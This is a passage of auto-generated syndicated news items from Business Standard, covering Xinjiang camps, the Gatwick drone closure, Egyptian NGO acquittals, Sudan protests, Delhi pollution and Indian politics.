has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Chinese government lashed out Thursday at recent US media reports about forced labour of mostly ethnic Muslim detainees in China's far western Xinjiang region. The stories are "a malicious attack that severely distorts the fact," Foreign Ministry spokeswoman Hua Chunying said at a daily briefing in response to a question from the state-run People's Daily newspaper. "It goes totally against the professional ethics of journalism," she continued, before invoking President Donald Trump. "No wonder the US leader has criticised the behaviour of some US media." The Associated Press and others have reported that Muslims detained in internment camps have in some cases been forced to work in factories. The AP found that clothing made in one camp had been shipped to an American sportswear company that supplies universities, colleges and schools. US Customs and Border Protection said Tuesday it is reviewing information published this week by The New York Times, The Washington Post and The Associated Press that "for the first time appears to link the internment camps identified in Western China to the importation of goods produced by forced labor." It is against U.S. law to import products of forced labour. Hua said China has abolished re-education through labour and described the camps as vocational training centres that help families shake off poverty. The trainees participate voluntarily, she said, contradicting former detainees and friends and relatives of detainees who have told the AP that they have no choice. "I would like to ask the relevant US media, which criticis and demonis China's efforts in fighting terrorism and extremism and in poverty relief, what they have done in the face of 45 million Americans living in poverty and the severe discrimination issues at home," she said. China has turned Xinjiang, home to the predominantly Muslim Uighur ethnic minority, into a virtual police state to prevent violent extremism. It has locked up as many as 1 million people, by some estimates, in camps where they are forced to give up their language and their religion and subject to political indoctrination. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Niti Aayog has suggested that the upper age limit for entry into the civil services be brought down to 27 years from the present 30 years for general category candidates in a phased manner by 2022-23. In the 'Strategy for New India @75' document released on Wednesday, the government think-tank also pitched for an integrated exam for all civil services. "The upper age limit for the civil services should be brought down to 27 years for the general category in a phased manner by 2022-23," the document said. It also said the existing 60-plus separate civil services at the central and state level need to be reduced through rationalisation and harmonisation of services. "Recruits should be placed in a central talent pool, which would then allocate candidates by matching their competencies and the job description of the post," it said. "Concomitantly, the number of exams for civil services should ideally be brought down to one with all-India ranking. States may also be encouraged to use this pool for recruitments," the document added. The document also said the service conditions for employees of autonomous bodies need to be regulated and harmonised. It noted that reforms in civil services are a continuous process and several initiatives have been taken in recent years by the present government. members staged walkout from the Assembly Thursday, alleging demolition of temples in for the Kashi Vishwanath corridor and "throwing away" of Lord Shiva statues by the state government. As the House met in the morning, Legislature Party Ajay Kumar Lallu wanted to raise the issue which, he said, amounted to "playing with the sentiments of 125 crore 'Sanatan Dharma' followers". He alleged that in a number of temples were demolished in the name of Kashi Vishwanath corridor and statues of Lord Shiva were "thrown" out. He wanted a discussion on the issue, but Speaker Hriday Narain Dixit did not accept his plea. Later, demanding "pardon" from Chief Minister Yogi Adityanath from "125 crore people" on the issue, members staged a walkout from the House. "The BJP government is playing with the sentiments of 125 crore people by demolishing temples. Yogi and Prime Minister should express regret and seek pardon from them," the CLP later told reporters. He also demanded the chief minister's resignation over an incident in where a girl was allegedly burnt alive on December 18 by some people. Dabang Delhi played out a thrilling 37-37 tie against Jaipur Pink Panthers in a Pro Kabaddi League season 6 fixture at the Tau Devi Lal Stadium here Thursday. Selvamani's four-point raid was the brave moment of the match, while Sandeep Dhull showed immense strength and high fitness levels to score 6 tackle points. Deepak Hooda scored 8 points for Jaipur, while Chandran Ranjit (11 points) and Pawan Kadian (9 points) were among the top scorers for Dabang Delhi. Dabang Delhi made a strong start and led 5-0 after four minutes as they picked up a couple of raid and tackle points. A super tackle in the 5th minute opened Pink Panthers' account. They were kept alive in the match because of their defence as they forced another super tackle in the 8th minute to level the match at 6-6. Dabang Delhi took the lead once again, inflicting an all out in the 11th minute to lead 11-7. Selvamani's super raid in the 13th minute got Jaipur back in the match once again. It was a see-saw of a match with Jaipur cutting the deficit every time Delhi threatened to run away with the match. Ajinkya Pawar's two-point raid in the 17th minute made it a one point gap as at the end of the first half Dabang Delhi led 18-17. PawanKadian made a super raid in the 21st minute to give Delhi 21-18 lead. But Selvamani's brilliant four-point raid in the 24th minute got Jaipur back in the match once again. With less than five minutes to go Jaipur were trailing by five points when Ajinkya made a two-point raid to reduce the gap to three. In the 38th minute, Jaipur inflicted an all out as they trailed 35-36 and Deepak Hooda levelled the match in the next minute with a successful raid. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In an apparent reference to the recent mob violence, actor Naseeruddin Shah said at many places the death of a cow is being given more importance than the killing of a policeman. The veteran actor also expressed anxiety over the well-being of his children, who he said have not been brought up as followers of any particular religion. Shah made the comments in a video interview with Karwan-e-Mohabbat India and the organisation shared it on its YouTube channel on Monday. The actor said the "poison has already spread" and it will be now difficult to contain it. "It will be very difficult to capture this djinn back into the bottle again. There is complete impunity for those who take law into their own hands. In many areas we are witnessing that the death of a cow is more significance than that of a police officer," he added. Shah, who is married to actor Ratna Pathak Shah, said they chose not to give any religious education to their children -- Imaad and Vivaan -- as he believes "being good or evil has nothing to do with religion". His fear for his children's safety is reminiscent of Aamir Khan's comments on intolerance in 2015 that had sparked a major controversy. "I had received religious education as a child. Ratna (his wife) was from a liberal household so she received next to none. And we chose not to give religious education to our children because I believe being good or evil has nothing to do with religion. "We taught them about good and bad, what our beliefs are. I did make them learn a few verses from the Quran Sharif, as I believe reciting them improves one's articulation. Just like one's articulation improves reading from the Ramayana or Mahabharata from its original..." Shah added. The actor is worried that the situation would not improve "anytime soon" and said he is angry, not scared. "I feel anxious for my children because tomorrow if a mob surrounds them and asks, 'Are you a Hindu or a Muslim?' they will have no answer. It worries me that I don't see the situation improving anytime soon. "These matters don't scare me, they make me angry. And I feel every right-thinking man should feel angry, not scared. This is our home, who dare evict us from here?" he said. On December 3, a mob, including right-wing activists, attacked a police station over alleged cow slaughter in the areas. The incident led to the deaths of Inspector Subodh Kumar Singh and another man. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With an aim to keep MLAs well-informed on legislative affairs, a Delhi Assembly panel will explore the possibility of introducing fellowship and internship programmes. The General Purpose Committee (GPC), headed by Speaker Ram Niwas Goel, will submit its report on the same. The move comes after AAP MLA Somnath Bharti raised the issue of legislators not having any facility to deo research and field works pertaining to legislative affairs. Asserting that Members of Parliament (MPs) have similar facilities, he said the Delhi Assembly should also have research wing. "As of now, MLAs do not have facility to get sound information on a particular issue they want to speak on. Also, we do not have any stenographer so that we can dictate anything," Bharti said. As the AAP MLA wrapped up his speech on the issue, Deputy Chief Minister Manish Sisodia said the Delhi government will provide all possible assistance, including monetary help, to the Assembly secretariat. The Speaker said the Assembly's General Purpose Committee (GPC) will look into this matter, including introduction of fellowship and internship programmes, and said Bharti will be "special invitee" to the panel for suggesting other measures. Goel informed the lawmakers that the Assembly secretariat has recently sent a proposal to the Delhi goverment on making proceedings of the House "paperless" at a cost of Rs 20 crore. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) NetApp announced three research grants to the Indian Institute of Technology (IIT Jodhpur and IIT Kharagpur) and Indian Institute of Science (IISc) for the advancement of research in the data management space. For the year 2018, the NetApp Faculty Fellowship (NFF) has been awarded to Prof. Vijay Kumar of IISc Bangalore, to support research in private information retrieval and coded computation to enhance security in the age of Cloud Computing; to Prof. Bivas Mitra of IIT Kharagpur, for research on Machine Learning (ML) based model development for storage system troubleshooting and workload characterization; and Prof. Subhajit Sidhanta of IIT Jodhpur has been granted the NetApp Student Fellowship (NSF) to investigate the trade-off in performance and consistency for widely distributed systems used in IoT and Fog computing. NetApps fellowship program has granted 31 such research partnerships with IP (Intellectual Property) free grants up to USD 20,000 over the last 10 years in India. These partnerships open the door for NetApps data management technologies, experience, equipment and lab to be shared with academia, paving the road for research with far-reaching consequences for management and security of data, the foundation of todays digital transformation. This program has ties with several top technology institutes including the IITs, IISc, Anna University and ISI Kolkata. Pointing to the true value of industry-academia relationships, Deepak Visweswaraiah, Senior VP and MD, NetApp, said, Through the fellowships, NetApp encourages leading-edge research in storage and data management, and seeks to foster relationships between academic researchers and our technical community. Whats more is that the grants come with no strings attached, and we dont claim any IP from the research, allowing for open technology propagation. We work on cutting-edge technologies in order to stay relevant in the changing technology landscape and be able to provide future-proof solutions. And the results are showing. The program offers recipients, opportunities to conduct research in areas of mutual interest to identify and explore trends such as ML, IoT, AI, Blockchain, Data Lakes, Data Analytics and Cyber Security. The grants also prepare students for jobs in the space of advanced technology as it allows them to apply their research to relevant industry problems under the guidance of supervising professors at top institutes in the country. Talking about the program, Professor Vijay Kumar from IISc said: The best research is done when you are working on something which has some practical relevance apart from theoretical interest. What this partnership with NetApp has allowed us to do is to bridge this gap, because by talking to companies, we get a sense of what the data industry is looking for. NetApp has been a huge enabler in this over the years. Through our fellowships program, we aim to create an innovation ecosystem including some of the best scientific and engineering minds in the country. We want to leverage the program to translate research into real-world applications. For instance, people associate Machine Learning with image recognition, self-driving cars, and expert-like machines in games. NetApp has worked with professors from IIT Kharagpur to conduct research on unique capabilities of managing complex systems deployed in cloud computing through ML, thus opening further research areas in the process, echoed Siddhartha Nandi, Director, Advanced Technology Group, NetApp, and leader of this program. For example, ISI Kolkatas Prof. Sushmita Ruj, an NFF recipient, works with NetApp to develop efficient and privacy-preserved data auditing schemes that can help a user keep a tab on the reliability of their data stored in multiple clouds. Cloud security is one of the most talked about topics as data-sensitivity concerns grow with massive cloud adoption. This, and many other such areas of impactful technology research are the cornerstones of this program- leveraging the power of data to transform lives and businesses. @Technuter.com News Service Delhi's air quality was recorded in the 'very poor' category on Thursday, with some regions in the national capital expected to witness further deterioration in conditions by Friday, authorities said. The overall air quality index (AQI) of the national capital stood at 349, which falls in the 'very poor' category, the Central Pollution Control Board (CPCB) data showed. An AQI between 100 to 200 comes under the 'moderate' category, 201 and 300 is considered 'poor', 301 and 400 'very poor', while that between 401 and 500 is 'severe'. The Centre-run System of Air Quality and Weather Forecasting (SAFAR) said the air quality is likely to deteriorate further by Friday. "Some areas of Delhi, particularly the south-east and the north-west part of Delhi, are likely to slip into the 'severe' category, but the overall AQI for Delhi city will remain in the upper side of 'very poor'," the SAFAR said. "The AQI is expected to recover by the weekend but will continue to remain in the 'very poor' range with a decline in magnitude. A moderate fog will prevail and help both gaseous and particulate pollutants to become stagnant near the surface," it said. The overall PM2.5 level (fine particulate matter in the air with a diameter of less than 2.5 micrometre) was recorded at 240 and the PM10 level at 413, the SAFAR said. Neighbouring Ghaziabad, Faridabad and Noida recorded 'very poor' air quality, it added. According to the Indian Institute of Tropical Meteorology, the maximum ventilation index on Wednesday was 4,300 sqm/second. A ventilation index lower than 6,000 sqm/second with an average wind speed of less than 10 kmph is unfavourable for dispersion of pollutants. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A senior Boeing company official Thursday met Jet Airways management amid reports of the loss-making private carrier returning some of the leased planes to the lessors and looking to defer some future deliveries. Media reports suggest that Jet Airways is returning eight Boeing 737 aircraft to its lessors and delaying induction of new planes following a severe cash drought. "I am going to meet them (Jet Airways management) today," Dinesh Keskar, senior vice-president, Asia Pacific and India sales at Boeing Commercial Airplanes said when his attention was drawn towards the reports. Notably, the Naresh Goyal-promoted private carrier, which is partially owned by the UAE national carrier Etihad, is a major customer of Boeing, having placed a massive order for 225 latest single-aisel 737MAX planes. Besides, the US aircraft maker also has another 10 dreamliner 787 planes in its order book from Jet Airways. Keskar also said that as far as the Boeing was concerned, it always sells the planes to the lessors. Since the SLB (sales and lease back) is done in advance, "we deliver the planes to the lessor, who has already purchased the plane," he said. Under the SLB arrangement, the seller of an asset leases it back from the purchaser for a long-term period and continues to use it without actually owning it. The practice is prevalent largely in Indian carriers. "We are delivering the planes as per plans," he said adding that the Jet Airways order for 10 B787 planes continue to stand in its order books, without changes or any cancellations. Jet Airways is struggling to keep afloat in a market, which has already seen four smaller airlines going belly up in the last four years. The Mumbai-based full service airline is grappling with significant financial distress in the face of three back-to-back quarterly losses, which have resulted in a cash drought and subsequently default on payments to aircraft lessors and a section of staff, among others. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) / -- Dell aims at developing cohesive, collaborative and an inclusive work environment for everyone as a mean of driving continued growth Dell, as part of its Diversity and Inclusion initiatives, organized an event titled 'Rising above unconscious biases' to showcase different aspects of unconscious biases through innovative storytelling. The event used an unorthodox medium of 'Theatre for Learning' wherein a series of one-act theatre plays were curated and enacted by Leo Girl Productions. The occasion aimed at raising awareness and throwing light on the critical behaviour patterns that affect gender equality and people with disabilities at workplaces. (Logo: https://mma.prnewswire.com/media/617893/Dell_EMC_Logo.jpg ) Speaking on diversity and unconscious biases, Sheenam Ohrie, Vice President, Enterprise, Data and Mobile Engineering, Dell Digital, said, "At Dell, diversity and inclusion is a business imperative and is supported by multiple initiatives. We have established a unique platform to share varied perspectives and forge a strong voice to address inclusion in a collaborative manner. Understanding and managing sub-conscious biases is an essential part of building diverse and high-performing organizations. This is an attempt to take inclusion to the next value level. We believe that by helping people recognize latent beliefs and perceptions, we can take a brighter step towards an 'EQUAL' and inclusive society." Shalini Sarawathi, Bangalore's renowned blade-runner and the guest of honour, was part of the distinguished panel, which came together to deliberate on the issue of unconscious biases at workplace. Sharing her thoughts on the subject, Shalini said, "Dell has initiated a relevant campaign around the D&I and gender issues, which is critical and important for all corporates in present times. To ensure inclusivity and an environment of equal opportunity, we should rise up from our unconscious biases and empower all employees, especially the differently-abled ones. There is no dream that can't be achieved with passion, determination and will power. I thank Dell for starting a conversation around this important issue; I sincerely hope it can be taken forward through more such events and platforms."Dell has a multi-prong strategy for diversity and inclusion worldwide. Apart from being a global technology leader, Dell provides equal opportunities to employees and amongst other inclusion facets, considers people with special abilities an integral part of the system. Dell has in place global frameworks and programs such as MARC (Many Advocating Real Change), Digital Futures, Women in Action, DWEN (Dell Women Entrepreneur Network), among others to foster a diverse and inclusive work environment. About Dell Inc. Dell Inc., a part of Dell Technologies, provides customers of all sizes - including 99 percent of the Fortune 500 - with a broad, innovative portfolio from edge to core to cloud. Dell Inc. comprises Dell client as well as Dell EMC infrastructure offerings that enable organizations to modernize, automate and transform their data center while providing today's workforce and consumers what they need to securely connect, produce, and collaborate from anywhere at any time. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi Fire Service will not be able to buy any new vehicle unless it phases out its over 10-year-old vehicles, an official said. The Delhi Fire Service (DFS) had bought 60 new vehicles in April this year, but these can be registered only after the department phases out the over 10-year-old automobiles, he said. "We will be filing a petition in the Supreme Court in a few days seeking permission for registration of new vehicles purchased in April this year," a senior Delhi Fire Service official said. The fire department had approached the National Green Tribunal (NGT), seeking registration of its new vehicles, as the green panel had last year banned registration of new diesel vehicles as well as their re-registration after 10 years. "The fire department had purchased 60 new fire tenders in April and they are lying unused at the Fire Management Training Academy in Rohini," the official said. The DFS officials claimed that the fire department at present had 220 diesel-run vehicles and it purchased 60 new diesel vehicles at a cost of Rs 14 crore. According to the NGT, the fire department will have to file an affidavit before the green court that its department does not have any vehicle older than 10 years to get permission to register the new vehicles with the transport department. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Having spent almost six years in a Pakistani jail, software engineer Hamid Nihal Ansari's advice to youth is simple: Don't fall in love over Facebook. He should know. It was on Facebook that he fell in love with a girl from Pakistan, went there to prevent her 'forced' marriage and before he could meet her, was arrested and jailed. That was six years ago. Thursday, as he reached his home in suburban Mumbai, he was in a reflective mood. "Never hide anything from your parents. Only your parents stand by your side in testing times. And never resort to any illegal means to go to any place," Ansari told media. His tale is a lesson for several youngsters, who have experienced a new wave of freedom with the world of internet and social media. Asked what advice will he give to people who fall in love on Facebook, Ansari said, "Don't take (that) risk. Don't fall in love. Don't fall in love by trusting (what is on) Facebook." As Ansari and his family reached their fourth-floor flat in Versova after their arrival from Delhi Thursday morning, they were greeted by their neighbours who had decorated the gate with Welcome Hamid written on it with a blue ribbon. He said the of his release came as a bolt from the blue. "At 6.30 am on Tuesday, the (jail) deputy superintendent came to me and said you have half an hour to be ready (for release). "I was very excited and decided not to waste a single moment. I changed my clothes, put on my shoes and sat in the vehicle. The convoy was ready (for my journey)," he said. Ansari was arrested in Pakistan in 2012 for allegedly entering that country from Afghanistan reportedly to meet a woman he had befriended online. Pakistan slapped espionage charges against him. He was repatriated on Tuesday and handed over to India at the Wagah-Attari border. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A major in Britain was forced to ground flights after reports of drones flying over the airfield, the said Thursday. Flights into Gatwick Airport, south of London, were diverted to other cities across the country while passengers waiting to take off faced long delays just days ahead of Christmas, the UK's Press Association news agency reported. "Following reports of two drones flying over the Gatwick airfield we have had to suspend flights while this is investigated," Gatwick Airport said in a statement late Wednesday night. "We apologise to any affected passengers for this inconvenience but the safety of our passengers is our foremost priority." The runway has since reopened but passengers continue to face delays while airlines "catch up on the flight schedule", the airport said Thursday morning. Sussex Police was investigating the incident, it added. Gatwick is the eighth-busiest airport in and sits behind as the world's busiest single-runway air hub. It serves more than 228 destinations in 74 countries for 45 million passengers a year. Under British legislation, drones cannot be flown near aircraft or airports, or at an altitude of over 400 feet (122 metres). Kuwaiti authorities have arrested a man who used a drone to smuggle in drugs from a neighbouring country, the anti-narcotics department said Thursday. It said the department had seized four kilogrammes of amphetamine and one kilogramme of hashish. Kuwait's interior ministry posted a picture of the drone and the drugs on its Twitter handle. The authorities have regularly reported drug seizures at the airport and border crossings, but this was the first time they say a drone was used. Drones are sold in Kuwait but authorisation is required from the interior ministry for their use. Under Kuwaiti law, operating a drone without permission can result in a three-year jail sentence or a 3,000-dinar (USD 10,000) fine. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Travel plans for thousands of passengers went awry on Thursday ahead of the Christmas holiday period after one of UK's busiest airports remained closed for the second day due to a number of drones spotted near its runway, leading to the Army being called in to assist local police. The runway of Gatwick Airport, Britain's second-busiest after Heathrow Airport, remains closed since Wednesday night, when two devices were seen flying over the perimeter fence. After the sighting of another drone on Thursday afternoon, the authorities said they were unable to reopen the runway "until it was safe to do so". Prime Minister May described the situation as "irresponsible and completely unacceptable". "I feel for all those passengers whose travel plans have been disrupted by this drone activity and the action that has had to be taken in response to it," she told reporters during a joint press conference with Polish Prime Minister Mateusz Morawiecki, who is on a visit to the UK. "At this particular time of year this is particularly difficult for people...We will continue to work with the Gatwick authorities in order to bring this to a close such that people will be able to get on to the travel that they were expecting over the Christmas," she said. "Our hearts go out to all those who are desperately trying to go on holiday or arrive in the UK via Gatwick. I know the police are doing all they can to catch the operators of these drones," said House of Commons Leader Andrea Leadsom. UK defence secretary Gavin Williamson later confirmed that Army has been called in to support police officers investigating the problem. "The armed forces have a range of unique capabilities and this isn't something we would usually deploy but we are there to assist and do everything we can so that they are in a position to open the airport at the earliest opportunity," he said. More than 20 police units from two forces are searching for the perpetrator, who could face up to five years in jail. Superintendent Justin Burtenshaw, head of armed policing for Sussex and Surrey, described attempts to catch whoever was controlling the drones as "painstaking" because it was "a difficult and challenging thing to locate them". "Each time we believe we get close to the operator, the drone disappears; when we look to reopen the airfield, the drone reappears," he said. Local Sussex Police investigating the incident at the airport in the south of England have not been inclined to shoot down the devices because of the risk from stray bullets. The force said it did not believe the drones are terror-related but a "deliberate act" of disruption, describing the devices as of "industrial specification". "The police are looking for the operator and that is the way to disable the drone," said Gatwick's Chief Operating Officer Chris Woodroofe. Around 110,000 passengers on 760 flights were due to fly out on Thursday, as the Christmas holiday period kicks in. The airport authorities warn that the disruption could last "several days". Incoming planes were diverted to other airports including London Heathrow, Luton, Birmingham, Manchester, Cardiff, Glasgow, Paris and Amsterdam. Crowds of travellers spent the morning waiting inside Gatwick's terminal for updates, while others reported being stuck on grounded planes for hours. The UK's Civil Aviation Authority said it considered this event to be an "extraordinary circumstance", and therefore airlines were not obligated to pay any financial compensation to passengers. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Members of the Dalit Shoshan Mukti Manch (DSMM) Thursday staged a 'Parliament March' against the Centre over a host of issues, including the alleged attack on livelihood of Dalits and tribals. The central government is "anti-dalit", alleged K Radhakrishnan, president, DSMM. "Four and half years have passed but the Modi government did not take a single step to deliver justice to the Dalit community," he said. Subhashini Ali, vice president of the outfit, called Dalits to assert themselves for protection of their economic, social and political rights. The Constitution is under "severe threat" with rise in casteist and communalist attacks in different parts of the country, alleged Ramchandra Dom, general secretary, DSMM. MPs Jitendra Choudhury, PK Biju, and Jharna Das also addressed the gathering. Livelihood of the working people, especially Dalits and tribals, is under attack due to the "anti-people" policies of the Central government, charged the speakers at the protest. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dubai Diamond Exchange (DDE), a subsidiary of Dubai Multi Commodities Centre (DMCC), Wednesday signed a service agreement to join the MyKYCBank platform of Gem and Jewellery Export Promotion Council (GJEPC) here. The agreement enables DMCC members trading in diamonds, gold and precious stones to join the MyKYCBank platform. DMCC will be the fourth trade body to join MyKYCBank, following GJEPC, Bharat Diamond Bourse and the Antwerp World Diamond Council, Pramod Kumar Agrawal, Chairman of GJEPC said. The MyKYCBank platform provides a centralised global platform for companies in the gems and jewellery industry (including gold, diamonds, precious stones and Jewellery) to complete, manage and share their KYC information so as enable them to meet their obligations under the anti-money laundering laws of their respective countries. "UAE is an important trading partner in the industry for India, across gold, diamonds, jewellery and precious stones. The inclusion of DDE registered companies on the platform will go a long way in addressing the concerns of our industry bankers, and support the trade between the countries," Agrawal said. DDE chairman Ahmed Bin Sulayem and others were also present on the occasion. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Singapore-bound private airline flight from Dubai made an unscheduled landing at the airport here Thursday after a passenger complained of chest pain, airport officials said. After the flight landed in the early hours, emergency medical teams attended on him following which the 48-year old passenger was rushed to a corporate hospital, the sources said. The flight resumed its journey later, they added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A court on Thursday acquitted 43 NGO staff accused of receiving illicit foreign funds to stir up unrest during Egypt's 2011 uprising, a judge said. The verdict follows prolonged legal proceedings in the case. In April, Egypt's top appeals court ordered a retrial following appeals filed by 16 defendants. "The defendants have been cleared of all charges," judge Mohamed al-Feki said. The defendants including Americans, Europeans, Egyptians and other Arabs were handed down prison terms of between one and five years in 2013. Many of the defendants were tried in absentia and the accused were sentenced but not jailed. Since 2011, authorities have regularly accused civil society organisations of seeking to destabilise the country. Egypt stepped up its crackdown on non-governmental organisations after the military ousted Islamist president Mohamed Morsi in 2013. Morsi's overthrow was led by general-turned-president Abdel Fattah al-Sisi, who took office in 2014. Rights groups have accused Sisi's government of human rights violations and over the repression of dissidents. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) An Egyptian court on Thursday acquitted 43 people, including German and US nationals, of charges they illegally received funding for their local and foreign non-governmental organisations, a move that Amnesty International described as a step in the right direction. The verdict ended a seven-year legal battle that rattled civil society groups just months after a 2011 uprising forced autocrat Hosni Mubarak to step down after 29 years in power. A lower court convicted the 43 in 2013. The Court of Cassation, Egypt's highest appeals court, threw out that verdict in April this year and ordered a fresh trial, which culminated in Thursday's ruling. None of the 43 spent time in jail. The only three who received prison terms up to three years were tried in absentia. Egypt's military had claimed that protests against its direct rule between February 2011 and June 2012 were funded by foreigners. It ordered raids on more than a dozen offices of rights and freedom advocacy groups, seizing files and computers. Amnesty International said the verdict was a step in the right direction, saying it was a "bogus" case that targeted human rights defenders for doing their work. "However, today's ruling only relates to the first phase of the case which investigated the funding of international organizations; the investigation into local Egyptian NGOs is ongoing and dozens of staff are still at risk," said Najia Bounaim, Amnesty's North Africa campaigns director. "The key test now will be whether today's court decision paves the way for an end to the persecution of all human rights defenders in the country," it said, calling on the government to lift travel bans and asset freezes against NGO staff and drop investigations into Egyptian NGOs and human rights workers. Germany also welcomed the verdict, which acquitted two employees of the Konrad Adenauer Foundation, a pro-democracy and rights group linked to Chancellor Angela Merkel's conservative party. "They and the foundation are now officially rehabilitated," said a Foreign Ministry statement. "This verdict ends a years-long dispute that weighed on our relations with Egypt." Since the NGOs case opened, Egyptian authorities have frozen the assets of at least six rights groups and 10 human rights advocates. At least 30 human rights workers and administrators have been banned from travel. Investigating judges, meanwhile, intermittently call in human rights activists for questioning. The crackdown on rights groups has been accompanied by a defamation campaign by the pro-government media that portrayed activists behind the 2011 uprising as foreign agents, paid to plunge Egypt into chaos for the benefit of its enemies. General-turned-president Abdel-Fattah el-Sissi has blamed the uprising for the country's economic woes, labeling it the wrong remedy that followed a misdiagnosis. El-Sissi has recently ordered a revision of a law that placed draconian restrictions on the work of civil society groups, with the intention of reducing the veto power given to security agencies over their work. That task will most likely leave unchanged the restrictions placed on rights and pro-democracy groups, but relax them for medical, housing and social charities. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Eight demonstrators have been killed in eastern Sudan, officials said, during clashes with riot police on the second day of protests over the rising price of bread. A government decision to raise the price of bread this week from one Sudanese pound to three (from about two to six US cents) sparked protests across the country on Wednesday. The protests spread on Thursday to the Sudanese capital Khartoum, where riot police fired tear gas to disperse demonstrators near the presidential palace, witnesses said. "Six were killed and a number of people were wounded" in the eastern city of Al-Qadarif, Al-Tayeb al-Amine Tah told local broadcaster Sudania 24, without providing further details. The toll included a university student whose death during demonstrations in Al-Qadarif had been reported earlier in the day. "The situation in Al-Qadarif is out of control and the student Moayed Ahmad Mahmoud was killed," said Mubarak al-Nur, a lawmaker in the city 550 kilometres (340 miles) from Khartoum. Nur called on authorities "not to use force against demonstrators, who are asked to peacefully exercise their right" to protest. Two other protesters were killed in the city of Atbara, around 400 kilometres east of Khartoum, governorate spokesman Ibrahim Mukhtar said. Police in Atbara fired tear gas to disperse protesters just hours after authorities imposed a curfew on the city because demonstrators had torched the headquarters of President Omar al-Bashir's National Congress Party (NCP). Angry protesters on Thursday set fire NCP headquarters in two other locations, witnesses said Demonstrators in Al-Qadarif "threw stones at banks (in the city centre) and smashed cars," resident Tayeb Omar Bashir told AFP by phone. They then "moved to the ruling party headquarters near the market and torched it completely", he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Kerala High Court Thursday directed the state government to ensure that children below 18 years of age do not participate in its January 1 'Vanitha Mathil' (Wall of Women) programme. The Wall of Women, to be formed from the northern district of Kasargode to the southern-most district of Thiruvananthapuram, is aimed at demonstrating the "secular and progressive mindset" of the state. The court gave the directive after the LDF government in a statement said all departments have been requested to participate in the event, "which in no way makes or construed as compulsory participation of its employees". The government said it would not compel any employee or beneficiaries under different schemes or programmes of the government, to participate in the campaign, nor would there be any penal provision imposed if the employees or beneficiaries do not participate. A division bench, comprising Chief Justice Hrishikesh Roy and A K Jayasankaran Nambiar, recorded the statement by the government that no flood relief fund would be utilised for organising the programme. Considering petitions opposing the utilisation of public fund to organise the programme, the court also directed the government to inform it of the expenditure incurred to conduct the programme. The government submitted there was no diversion of money from the Flood Relief Fund for the Vanitha Mathil, "which is a totally different programme under the Women and Child Development department". Allegations of fund diversion from other projects of the government is totally incorrect and baseless, it said. It is a campaign envisaged in the policy decision of the government, details of which had already been stated in the Governor's address and the budget speech, the government said. Chief Minister Pinarayi Vijayan had announced that the 'Women's Wall' would be formed on January 1 from Kasargode to Thiruvananthapuram. "No one can push back the progressive society of Kerala into the dark ages," he had said, announcing the decision after a meeting with over 50 socio-cultural organisations in Thiruvananthapuram on December 1. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former Congress leader Sajjan Kumar appeared before a Delhi court Thursday in the 1984 anti-Sikh riots case, three days after he was convicted in another riots case by the high court here. Kumar surrendered his mobile phone before the court following the directions of the high court in its order convicting him on December 17. The court adjourned the matter for January 22 after he said his main counsel was unavailable. In the case before the trial court, three persons -- Kumar, Brahmanand Gupta and Ved Prakash -- are facing trial on charges of murder and rioting pertaining to the killing of Surjit Singh in Sultanpuri. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With regional and international role of India and China evolving, there are expectations from the two countries to lead Asia and usher in an Asian century, External Affairs Minister Sushma Swaraj said Thursday. Swaraj made the assertion in her message that was read out at the the inaugural session of the third India-China Think-Tanks Forum being hosted by the Indian Council of World Affairs (ICWA) from December 20-21 here. Her remarks came ahead of Chinese Foreign Minister Chinese Foreign Minister Wang Yi's visit to India to attend the first meeting of the High Level Mechanism on People-to-People Exchanges. Talking about the visit at a media briefing, Ministry of External Affairs Spokesperson Raveesh Kumar said this was the first such meeting that will be co-chaired by Swaraj and Wang and the decision to establish the forum was taken at the Wuhan summit between Prime Minister Modi and President Xi Jinping. There will be a bilateral meeting between the External Affairs Minister and her Chinese counterpart after which they will deliver their statements. The opening remarks at the inaugural session of the India-China Think-Tanks Forum were delivered by Ambassador T.C.A. Raghavan, DG, ICWA, and Gao Peiyong, Vice President, Chinese Academy of Social Sciences. Messages from the Indian and Chinese Foreign ministers were also read out at the start of this year's edition themed "Civilization Connect towards an Asian Century". "Through quality deliberations in its last two editions, this forum has established itself as a useful framework for regular and continuous discussions between our academics and scholars, and has enabled them to provide structured advice and recommendations to governments of both sides," Swaraj said in her message read out by Pranay Verma, Joint Secretary, MEA. These discussions which are held in the spirit of friendship and openness have greatly contributed to enhancing mutual trust and understanding between our two countries, she said. "As our relations our deepening and our regional and international role evolving, there are expectations from our two countries to lead Asia and usher in an Asian century," the minister said. Chinese Foreign Minister Wang, in his message read out by the Chinese Ambassador Luo Zhaohui, said the think tank forum has helped in deepening mutual understanding and enhancing mutual trust between the two countries. Ambassador Luo said following the Wuhan summit, relations were on the right track. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Expelled BJP leader and former MLA Gagan Bhagat Thursday joined the National Conference here in the presence of party president Farooq Abdullah, who promised regional autonomy to Jammu, Ladakh and Kashmir regions if his party comes to power in the state. "I want to make a promise that God willing if we form the next government, we will bring a resolution to grant autonomy to the three regions (within 30 days)," Abdullah said as he welcomed Bhagat into the NC fold at the party headquarters here. In his brief address, Bhagat, a doctor by profession, thanked the NC and said he would serve the humanity and work for the uplift of the border residents, the poor and the downtrodden sections of the society. He said he would work with dedication to strengthen the party at the gross-roots level. Abdullah 